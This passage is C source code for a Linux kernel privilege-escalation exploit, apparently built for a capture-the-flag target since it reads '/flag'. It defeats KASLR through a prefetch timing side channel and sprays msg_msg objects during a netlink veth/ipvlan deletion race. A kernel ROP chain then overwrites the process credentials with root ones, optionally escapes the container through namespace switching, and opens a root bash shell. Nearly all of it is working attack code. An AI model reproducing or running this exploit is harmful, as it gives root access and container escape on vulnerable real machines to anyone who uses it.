	uint64_t 		of_node_ops_recalc_rate;
	uint64_t 		parent;
	uint64_t 		parents;
	uint8_t			num_parents;
	uint8_t			new_parent_index;
	uint64_t 		rate;
	uint64_t 		req_rate_ops_set_rate;
	uint64_t 		new_rate;
	uint64_t 		new_parent;
	uint64_t 		new_child;
	uint64_t 		flags;
	bool 			orphan;
	bool 			rpm_enabled;	// 0x89
	uint32_t 		enable_count;
	uint32_t 		prepare_count;
	uint32_t 		protect_count;
	uint64_t 		min_rate;
	uint64_t 		max_rate;
	uint64_t 		accuracy;
	int32_t			phase;
	uint64_t 		duty;
	struct hlist_head	children;
	struct hlist_node	child_node;
	struct hlist_head	clks;
	uint32_t 		notifier_count;
	uint64_t		dentry;
	struct hlist_node	debug_node;
	unsigned int		ref;
};

struct kernfs_scheme {
	char			dev_ethtool_ops[0x300];
	uint64_t 		ropchain[0x60];
	struct cred_compact 	root_cred;
} kernfs_payload;

size_t user_cs, user_ss, user_rflags, user_sp, root_rip;
void save_status()
{
	asm(
		"movq %%cs, %0;"
		"movq %%ss, %1;"
		"movq %%rsp, %3;"
		"pushfq;"
		"pop %2;"
		: "=r"(user_cs),"=r"(user_ss),"=r"(user_rflags),"=r"(user_sp)
		:
		: "memory"
	);

	logb("Status has been saved");
}

void get_root_shell(void)
{   
	return;
}

// kernel function and global vars
uint64_t kernel_base_addr = -1;
uint64_t kernfs_pr_cont_buf_addr = 0;
uint64_t clk_change_rate_addr = 0;
uint64_t find_task_by_vpid_addr = 0;
uint64_t task_struct_size = 0;
uint64_t memcpy_addr = 0;
uint64_t get_task_cred_addr = 0;
uint64_t init_nsproxy_addr = 0;
uint64_t switch_task_namespaces_addr = 0;
uint64_t init_user_ns_addr = 0;

// rop gadgets
uint64_t pop_rdi_ret = 0;
uint64_t pop_rsi_ret = 0;
uint64_t mov_rdi_rax_ret = 0;
uint64_t pop_rdx_ret = 0;
uint64_t push_rsi_jmp_rsi_0x39 = 0;
uint64_t pop_rsp_ret = 0;
uint64_t add_rsp_0x88_ret = 0;
uint64_t iretq_addr = 0;
uint64_t swapgs_ret_addr = 0;
uint64_t add_rax_rdi_ret = 0;
uint64_t mov_mem_rax_rdx_ret = 0;

uint64_t ropchain_addr = 0;
uint64_t root_cred_addr = 0;

void build_rop_chain()
{
	uint64_t * p64;

	logd("Build rop chain");
	memset(&cls_ops.cls_ops_buf, 0, sizeof(cls_ops.cls_ops_buf));
	memset(&msg_buf.rop_buf, 0, sizeof(msg_buf.rop_buf));

	// cls_ops->set_rate pivot stack
	// core->ops->set_rate(core->hw, core->new_rate, best_parent_rate);
	p64 = (uint64_t *)cls_ops.cls_ops_buf;
	p64[(offsetofs(struct clk_ops, set_rate) - MSG_MSG_SIZE) / 8] = push_rsi_jmp_rsi_0x39; // 0xdeadbeefd899c000 | push_rsi_jmp_rsi_0x39

	// dev->ethtool_ops
	p64 = (uint64_t *)msg_buf.rop_buf;
	p64[(selected_kernel->dev_ethtool_ops_offset - MSG_MSG_SIZE) / 8] = kernfs_pr_cont_buf_addr;

	// test_bit(__LINK_STATE_PRESENT, &dev->state)
	p64[(selected_kernel->dev_state_offset - MSG_MSG_SIZE) / 8] = (1 << __LINK_STATE_PRESENT);

	// core->new_rate
	p64[(offsetofs(struct clk_core, new_rate) - MSG_MSG_SIZE) / 8] = ropchain_addr;

	// core->new_child
	p64[(offsetofs(struct clk_core, new_child) - MSG_MSG_SIZE) / 8] = 0;
}

void send_kernfs_payload()
{
	int retval = 0;
	int proccess_ret = 0;
	pid_t pid_sandbox;
	uint8_t* sandbox_stack = NULL;
	const int STACK_SIZE_SANDBOX = 1000000;
	const int clone_flags_sandbox = CLONE_NEWUSER | CLONE_NEWNET | CLONE_VM;
	targs_sender_kern_buff args_sandbox_kern_buff;

	uint64_t ropidx = 0;
	uint64_t *p64;

	memset(&kernfs_payload, 0, sizeof(kernfs_payload));

	ropchain_addr		= kernfs_pr_cont_buf_addr + offsetofs(struct kernfs_scheme, ropchain);
	root_cred_addr		= kernfs_pr_cont_buf_addr + offsetofs(struct kernfs_scheme, root_cred);

	// logd("kernfs_pr_cont_buf_addr is 0x%lx", kernfs_pr_cont_buf_addr);

	// dev->ethtool_ops->get_link_ksettings
	p64		= (uint64_t *) &kernfs_payload.dev_ethtool_ops;
	p64[selected_kernel->ethtool_get_link_ksettings_offset / 8] = clk_change_rate_addr; // clk_change_rate_addr

	// hijack func with max two args
	// clk_change_rate: core->rate = clk_recalc(core, best_parent_rate);
	// rate = core->ops->recalc_rate(core->hw, parent_rate);

	// hijack func with max three args
	// clk_change_rate: if (!skip_set_rate && core->ops->set_rate)
	//     core->ops->set_rate(core->hw, core->new_rate, best_parent_rate);

	kernfs_payload.root_cred.usage             		= 0x1000;
	kernfs_payload.root_cred.uid.val           		= 0;
	kernfs_payload.root_cred.gid.val           		= 0;
	kernfs_payload.root_cred.suid.val          		= 0;
	kernfs_payload.root_cred.sgid.val          		= 0;
	kernfs_payload.root_cred.euid.val          		= 0;
	kernfs_payload.root_cred.egid.val          		= 0;
	kernfs_payload.root_cred.fsuid.val         		= 0;
	kernfs_payload.root_cred.fsgid.val         		= 0;
	kernfs_payload.root_cred.securebits         		= 0;
	kernfs_payload.root_cred.cap_inheritable   		= CAP_FULL_SET;
	kernfs_payload.root_cred.cap_permitted 			= CAP_FULL_SET;
	kernfs_payload.root_cred.cap_effective     		= CAP_FULL_SET;
	kernfs_payload.root_cred.cap_bset      			= CAP_FULL_SET;
	kernfs_payload.root_cred.cap_ambient.val   		= 0;

	p64 = (uint64_t *) &kernfs_payload.ropchain;
	p64[0]		= add_rsp_0x88_ret;
	memcpy(((char *)&kernfs_payload.ropchain)+0x39, &pop_rsp_ret, 8);
	
	ropidx = (0x88 / 8) + 1;								// rop chain

	// logw("prepare_root_pid is %d", prepare_root_pid);

	// prepare_root_cred = get_task_cred(find_task_by_vpid(prepare_root_pid))
	p64[ropidx++] = pop_rdi_ret;
	p64[ropidx++] = prepare_root_pid;
	p64[ropidx++] = find_task_by_vpid_addr;
	p64[ropidx++] = mov_rdi_rax_ret;
	p64[ropidx++] = get_task_cred_addr;

	// prepare_root_cred->user_ns = init_user_ns_addr
	p64[ropidx++] = pop_rdi_ret;
	p64[ropidx++] = selected_kernel->cred_userns_offset;
	p64[ropidx++] = add_rax_rdi_ret;
	p64[ropidx++] = pop_rdx_ret;
	p64[ropidx++] = init_user_ns_addr;
	p64[ropidx++] = mov_mem_rax_rdx_ret;

	// prepare_root_cred = get_task_cred(find_task_by_vpid(prepare_root_pid))
	p64[ropidx++] = pop_rdi_ret;
	p64[ropidx++] = prepare_root_pid;
	p64[ropidx++] = find_task_by_vpid_addr;
	p64[ropidx++] = mov_rdi_rax_ret;
	p64[ropidx++] = get_task_cred_addr;

	// memcpy(&prepare_root_cred, &root_cred, sizeof(struct cred_compact))
	p64[ropidx++] = mov_rdi_rax_ret;
	p64[ropidx++] = pop_rsi_ret;
	p64[ropidx++] = root_cred_addr;
	p64[ropidx++] = pop_rdx_ret;
	p64[ropidx++] = sizeof(struct cred_compact); // sizeof(struct cred_compact);
	p64[ropidx++] = memcpy_addr;

#ifdef 	ESCAPE_CONTAINER
	// switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)
	p64[ropidx++] = pop_rdi_ret;
	p64[ropidx++] = 1;
	p64[ropidx++] = find_task_by_vpid_addr;
	p64[ropidx++] = mov_rdi_rax_ret;
	p64[ropidx++] = pop_rsi_ret;
	p64[ropidx++] = init_nsproxy_addr;
	p64[ropidx++] = switch_task_namespaces_addr;
#endif

	p64[ropidx++] = swapgs_ret_addr;
	p64[ropidx++] = iretq_addr;
	p64[ropidx++] = (size_t)get_root_shell;				// userspace rip
	p64[ropidx++] = user_cs;
	p64[ropidx++] = user_rflags;
	p64[ropidx++] = user_sp|8;
	p64[ropidx++] = user_ss;

	// logw("ROP chain has been built, size = %lu", ropidx * 8);
	if (ropidx * 8 > sizeof(kernfs_payload.ropchain)) {
		loge("ROP chain is too large, size = %lu, should increase the chain buffer", ropidx * 8);
		exit(0);
	}
	// logd("show kernfs_payload.ropchain");
	// hexprint(&kernfs_payload.ropchain, ropidx * 8);

	char * p8 = (char *) &kernfs_payload;
	for (int i = 0; i < sizeof(kernfs_payload); i++) {
		if (p8[i] == '/') {
			loge("Error in kernfs_payload, found / at %d, payload may be invalid", i);
			hexprint((char *) &kernfs_payload + (i / 8) * 8, 0x10);
			exit(0);
		}
	}

	args_sandbox_kern_buff.payload = (uint8_t*) &kernfs_payload;
	args_sandbox_kern_buff.size = sizeof(kernfs_payload);
	
	sandbox_stack = malloc(STACK_SIZE_SANDBOX);
	if (sandbox_stack == NULL) {
		loge("Error allocate stack for sandbox ipconfig, %s", strerror(errno));
	}

	pid_sandbox = clone(thread_sender_kern_buff, sandbox_stack + STACK_SIZE_SANDBOX, clone_flags_sandbox, &args_sandbox_kern_buff, 0, 0, 0);
	if (pid_sandbox < 0) {
		loge("Error create sanbox %s", strerror(errno));
	}

	retval = waitpid(pid_sandbox, &proccess_ret, __WCLONE);
	if (retval < 0 ) {
		loge("Error wait sandbox clone thread, %s", strerror(errno));
	}

	retval = WEXITSTATUS(proccess_ret);
	if (retval != 0) {
		const char* sandbox_error = sandbox_str_error(args_sandbox_kern_buff.result.error);
		int number = args_sandbox_kern_buff.result.error_number;
		loge("Error in sandbox, where %s and type %s", sandbox_error, strerror(number));
	}
}

// KASLR bypass
//
// This code is adapted from https://github.com/IAIK/prefetch/blob/master/cacheutils.h
//
inline __attribute__((always_inline)) uint64_t rdtsc_begin() {
	uint64_t a, d;
	asm volatile ("mfence\n\t"
		"RDTSCP\n\t"
		"mov %%rdx, %0\n\t"
		"mov %%rax, %1\n\t"
		"xor %%rax, %%rax\n\t"
		"lfence\n\t"
		: "=r" (d), "=r" (a)
		:
		: "%rax", "%rbx", "%rcx", "%rdx");
	a = (d<<32) | a;
	return a;
}

inline __attribute__((always_inline)) uint64_t rdtsc_end() {
	uint64_t a, d;
	asm volatile(
		"xor %%rax, %%rax\n\t"
		"lfence\n\t"
		"RDTSCP\n\t"
		"mov %%rdx, %0\n\t"
		"mov %%rax, %1\n\t"
		"mfence\n\t"
		: "=r" (d), "=r" (a)
		:
		: "%rax", "%rbx", "%rcx", "%rdx");
	a = (d<<32) | a;
	return a;
}

void prefetch(void* p)
{
	asm volatile (
	"prefetchnta (%0)\n"
	"prefetcht2 (%0)\n"
	: : "r" (p));
}

size_t flushandreload(void* addr) // row miss
{
	size_t time = rdtsc_begin();
	prefetch(addr);
	size_t delta = rdtsc_end() - time;
	return delta;
}

#define ARRAY_LEN(x) (sizeof(x) / sizeof(x[0]))

int bypass_kaslr(uint64_t base) {
	if (!base) {
	#ifdef KASLR_BYPASS_INTEL
		#define OFFSET 0
		#define START (0xffffffff81000000ull + OFFSET)
		#define END   (0xffffffffD0000000ull + OFFSET)
		#define STEP   0x0000000001000000ull
		while (1) {
			uint64_t bases[7] = {0};
			for (int vote = 0; vote < ARRAY_LEN(bases); vote ++) {
				size_t times[(END - START) / STEP] = {};
				uint64_t addrs[(END - START) / STEP];

				for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
					times[ti] = ~0;
					addrs[ti] = START + STEP * (uint64_t)ti;
				}

				for (int i = 0; i < 16; i++) {
				for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
					uint64_t addr = addrs[ti];
					size_t t = flushandreload((void*)addr);
					if (t < times[ti]) {
						times[ti] = t;
					}
				}
				}

				size_t minv = ~0;
				size_t mini = -1;
				for (int ti = 0; ti < ARRAY_LEN(times) - 1; ti++) {
					if (times[ti] < minv) {
						mini = ti;
						minv = times[ti];
					}
				}

				if (mini < 0) {
					return -1;
				}

				bases[vote] = addrs[mini];
			}

			int c = 0;
			for (int i = 0; i < ARRAY_LEN(bases); i++) {
				if (c == 0) {
					base = bases[i];
				} else if (base == bases[i]) {
					c++;
				} else {
					c--;
				}
			}

			c = 0;
			for (int i = 0; i < ARRAY_LEN(bases); i++) {
				if (base == bases[i]) {
					c++;
				}
			}
			if (c > ARRAY_LEN(bases) / 2) {
				base -= OFFSET;
				goto got_base;
			}

			logd("majority vote failed:\n");
			logd("base = 0x%lx with %d votes\n", base, c);
		}
	#else
		#define START (0xffffffff81000000ull)
		#define END (0xffffffffc0000000ull)
		#define STEP 0x0000000000200000ull
		#define NUM_TRIALS 7
		// largest contiguous mapped area at the beginning of _stext
		#define WINDOW_SIZE 11

		while (1) {
			uint64_t bases[NUM_TRIALS] = {0};

			for (int vote = 0; vote < ARRAY_LEN(bases); vote ++) {
				size_t times[(END - START) / STEP] = {};
				uint64_t addrs[(END - START) / STEP];

				for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
					times[ti] = ~0;
					addrs[ti] = START + STEP * (uint64_t)ti;
				}

				for (int i = 0; i < 16; i++) {
				for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
					uint64_t addr = addrs[ti];
					size_t t = flushandreload((void*)addr);
					if (t < times[ti]) {
						times[ti] = t;
					}
				}
				}

				uint64_t max = 0;
				int max_i = 0;
				for (int ti = 0; ti < ARRAY_LEN(times) - WINDOW_SIZE; ti++) {
					uint64_t sum = 0;
					for (int i = 0; i < WINDOW_SIZE; i++) {
						sum += times[ti + i];
					}
					if (sum > max) {
						max = sum;
						max_i = ti;
					}
				}

				bases[vote] = addrs[max_i];
			}

			int c = 0;
			for (int i = 0; i < ARRAY_LEN(bases); i++) {
				if (c == 0) {
					base = bases[i];
				} else if (base == bases[i]) {
					c++;
				} else {
					c--;
				}
			}

			c = 0;
			for (int i = 0; i < ARRAY_LEN(bases); i++) {
				if (base == bases[i]) {
					c++;
				}
			}
			if (c > ARRAY_LEN(bases) / 2) {
				goto got_base;
			}

			logd("majority vote failed:\n");
			logd("base = 0x%lx with %d votes\n", base, c);
		}
	#endif
	}

got_base:
	logd("Using kernel base 0x%lx", base);
	kernel_base_addr = base;

	return 0;
}

void assign_kernel_symbols()
{
#ifndef KASLR_FIXED
	bypass_kaslr(0);
#else
	kernel_base_addr = 0xffffffff81000000;
#endif
	select_kernel_table();

	kernfs_pr_cont_buf_addr = kernel_base_addr + selected_kernel->kernfs_pr_cont_buf_offset;
	clk_change_rate_addr = kernel_base_addr + selected_kernel->clk_change_rate_offset;
	find_task_by_vpid_addr = kernel_base_addr + selected_kernel->find_task_by_vpid_offset;
	memcpy_addr = kernel_base_addr + selected_kernel->memcpy_offset;
	get_task_cred_addr = kernel_base_addr + selected_kernel->get_task_cred_offset;
	init_nsproxy_addr = kernel_base_addr + selected_kernel->init_nsproxy_offset;
	switch_task_namespaces_addr = kernel_base_addr + selected_kernel->switch_task_namespaces_offset;
	init_user_ns_addr = kernel_base_addr + selected_kernel->init_user_ns_offset;

	pop_rdi_ret = kernel_base_addr + selected_kernel->pop_rdi_ret_offset;
	pop_rsi_ret = kernel_base_addr + selected_kernel->pop_rsi_ret_offset;
	mov_rdi_rax_ret = kernel_base_addr + selected_kernel->mov_rdi_rax_ret_offset;
	pop_rdx_ret = kernel_base_addr + selected_kernel->pop_rdx_ret_offset;
	push_rsi_jmp_rsi_0x39 = kernel_base_addr + selected_kernel->push_rsi_jmp_rsi_0x39_offset;
	pop_rsp_ret = kernel_base_addr + selected_kernel->pop_rsp_ret_offset;
	add_rsp_0x88_ret = kernel_base_addr + selected_kernel->add_rsp_0x88_ret_offset;
	iretq_addr = kernel_base_addr + selected_kernel->iretq_addr_offset;
	swapgs_ret_addr = kernel_base_addr + selected_kernel->swapgs_ret_addr_offset;
	add_rax_rdi_ret = kernel_base_addr + selected_kernel->add_rax_rdi_ret_offset;
	mov_mem_rax_rdx_ret = kernel_base_addr + selected_kernel->mov_mem_rax_rdx_ret_offset;

	logm("kernel base address   -> 0x%lx", kernel_base_addr);
	logi("kernfs_pr_cont_buf address    -> 0x%lx", kernfs_pr_cont_buf_addr);
	logi("clk_change_rate address  -> 0x%lx", clk_change_rate_addr);
	logi("find_task_by_vpid address  -> 0x%lx", find_task_by_vpid_addr);
	logi("memcpy address  -> 0x%lx", memcpy_addr);
	logi("get_task_cred address  -> 0x%lx", get_task_cred_addr);
	logi("init_nsproxy address  -> 0x%lx", init_nsproxy_addr);
	logi("switch_task_namespaces address  -> 0x%lx", switch_task_namespaces_addr);
	logi("init_user_ns address  -> 0x%lx\n", init_user_ns_addr);
}

int main(int argc, char *argv[])
{
	save_status();
	
	uint64_t sock_eth;

	// setbuf(stdout, NULL);
	// setbuf(stderr, NULL);

	logb(COLOR_BOLD " --------------- 0. Leak Kernel Address And Symbols --------------- " COLOR_DEFAULT);

	assign_kernel_symbols();
	if (argc > 1) {
		if (strcmp(argv[1], "leak") == 0) {
			logd("Leak kernel address finished");
			exit(0);
		}
	}

	logb(COLOR_BOLD " --------------- 1. Prepare enviroment --------------- " COLOR_DEFAULT);

	if (pipe(sync_pipe)) {
		loge("create sync pipe failed");
		exit(0);
	}

	if (pipe(race_pipe)) {
		loge("create sync pipe failed");
		exit(0);
	}

	sync_ctrl = mmap(NULL, sizeof(atomic_int), PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
	if (sync_ctrl == MAP_FAILED) {
		loge("mmap sync_ctrl failed");
		exit(0);
	}
	atomic_store(sync_ctrl, SYNC_VALUE_INIT);

	// logd("setup namespace");
	unshare_setup(getuid(), getgid());

	for (int i = 0; i < NUM_MSQIDS; i++) {
		if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {
			loge("msgget");
		}
	}
	
	prepare_root_pid = getpid();
	logb("Prepare root pid is %d\n", prepare_root_pid);
	send_kernfs_payload();

	logb(COLOR_BOLD " --------------- 2. Setup Netlink Device And Wait --------------- " COLOR_DEFAULT);

	if (fork() == 0) {
		assign_to_core(0, false);

		int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
		if (sock == -1) {
			logd("create socket error");
		}

		logd("Netlink add %s and %s", vethvlanstr0, vethvlanstr1);
		netlink_add_veth(&nlmsg, sock, vethvlanstr0, vethvlanstr1);

		logd("Netlink add %s", ipvlanstr0);
		netlink_add_ipvlan(&nlmsg, sock, ipvlanstr0, vethvlanstr1, IPVLAN_MODE_L2, 0);

		if(write(race_pipe[1], "R", 1) != 1)
			loge("write race_pipe failed");

		char sync;
		if(read(sync_pipe[0], &sync, 1) < 0)
			loge("read sync_pipe failed");
		if (sync == 'C') {}

		logm("netlink del %s ...", vethvlanstr1);
		netlink_del_veth(&nlmsg, sock, vethvlanstr1);
		logm("Fail to trigger race?");

		sleep(1);
		atomic_store(sync_ctrl, SYNC_RACE_FINISH);

		logc("Child net device exit");
		exit(0);
	}

	if (fork() == 0) {
		assign_to_core(1, false);
		sock_eth = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
		// logd("create socket ethtool=%u\n", sock_eth);
		if (sock_eth < 0)
			loge("create socket ethtool failed");

		build_rop_chain();
		spray_padding_msg_msg();

		char sync;
		if (read(race_pipe[0], &sync, 1) < 0)
			loge("read race_pipe failed");
		if (sync == 'R') {}

		// hold refcnt of net_device
		spray_get_link_ksettings(barrier_get_link_ksettings_count, sock_eth);
		spray_msg_msg();
		pthread_barrier_wait(&barrier_get_link_ksettings);

		logi("Trigger Race...");
		if (write(sync_pipe[1], "C", 1) != 1)
			loge("write sync_pipe failed");

		pthread_barrier_wait(&barrie_race_spray_msg);

		while (atomic_load(sync_ctrl) != SYNC_RACE_FINISH) {
			usleep(100);
		}

		pthread_barrier_destroy(&barrier_get_link_ksettings);

		logc("Child race exit...");
		exit(0);
	} else {
		assign_to_core(1, false);

		// escape pid/mount/network namespace
		while (setns(open("/proc/1/ns/mnt", O_RDONLY), 0) < 0) {
			usleep(10);
			if (atomic_load(sync_ctrl) == SYNC_RACE_FINISH) {
				loge("Failed to get root");
				exit(0);
			}
		}
		system("cat /flag");
		
		puts("");
		logb(COLOR_BOLD " --------------- 4. Get Root Cred --------------- " COLOR_DEFAULT);
		logd("Successful to get the root");

#ifdef 	ESCAPE_CONTAINER
		logd("Escaping container...\n");
		
		setns(open("/proc/1/ns/pid", O_RDONLY), 0);
		setns(open("/proc/1/ns/net", O_RDONLY), 0);
#endif
		execlp("bash", "bash", NULL);

		logb(COLOR_BOLD "Exit root shell..." COLOR_DEFAULT);
		exit(0);
	}

	return 0;
}
